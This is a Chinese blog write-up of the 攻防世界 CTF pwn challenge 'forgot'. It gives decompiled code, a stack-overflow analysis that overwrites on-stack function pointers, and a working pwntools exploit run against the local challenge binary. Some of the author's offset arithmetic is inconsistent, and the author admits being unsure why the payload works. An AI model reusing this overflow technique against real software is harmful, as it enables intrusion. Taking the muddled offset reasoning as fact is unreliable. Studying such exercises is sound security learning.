攻防世界 pwn forgot

下面記錄一下我在做攻防世界的pwn練習題中的forgot題目的過程,這個題目現在還是有些疑惑的

 

首先我們看一下題目的安全機制:

然後IDA看一下主函數:

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 0x20, stdin);                       // 此處沒有溢出
  sub_80485DD((int)&s);                         // 輸出必要信息
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);                     // 此處會存在溢出 32bytes
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == '@' )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == '.' )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();                           // 此處調用cat_flag
  return fflush(stdout);
}

同時我們看一下程序的字符串,發現了我們需要的函數:

再回顧主函數,我們發現發現有兩個scanf,並顯然第二個scanf存在溢出漏洞,並且程序在棧中存放了一系列的函數的地址,而且在程序的最後根據v14的值選擇其中一個函數並執行。

我們可以考慮在溢出的時候更改棧中的函數地址,並控制v14的值,使得程序能夠跳轉執行cat flag

根據程序的switch流程,我們可以很容易使得for循環結束的時候,v14的值爲10,v3偏移爲0x54, 調用的函數地址的偏移爲0x54-0x9=0x4b, 則v2到函數地址的偏移爲0x74-0x54+0x9 * 4=0x44, 即在0x44偏移位置填充cat_flag函數地址,然後填充0x2c-0xc=0x20的字符來填充s緩衝區,然後覆蓋v14的值。

根據棧幀的結構,我們可以構造如下payload,exp如下:

# 2020/6/17

from pwn import *

print(cyclic(0x74-0x2c))
print(cyclic_find('jaaa'))

context.log_level = 'debug'
# context.terminal = ['tmux', 'splitw', '-h']

p = process("/home/tucker/ctf_pwn/forgot")

pwnlib.gdb.attach(p)

p.recv()
p.sendline("tucker")
p.recv()

catflag_addr = 0x80486CC
# payload = 'a' * 36 + p32(catflag_addr) + "@gamil.com"

# cover v14 with 0x8  why is 0x8, not 0x9 or 0xa??
payload = 'a' * 0x44 + p32(catflag_addr) + 'a' * 0x20 + p32(0x8)

p.sendline(payload)

p.interactive()

(此處有個疑惑,此處v14的值爲何只能覆蓋爲0x8,而不能使0x9,或者0xa)

 

另外在此實驗中,我初步瞭解了使用pwntools附加gdb進程進行調試。這樣可以使用我們構造的payload。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章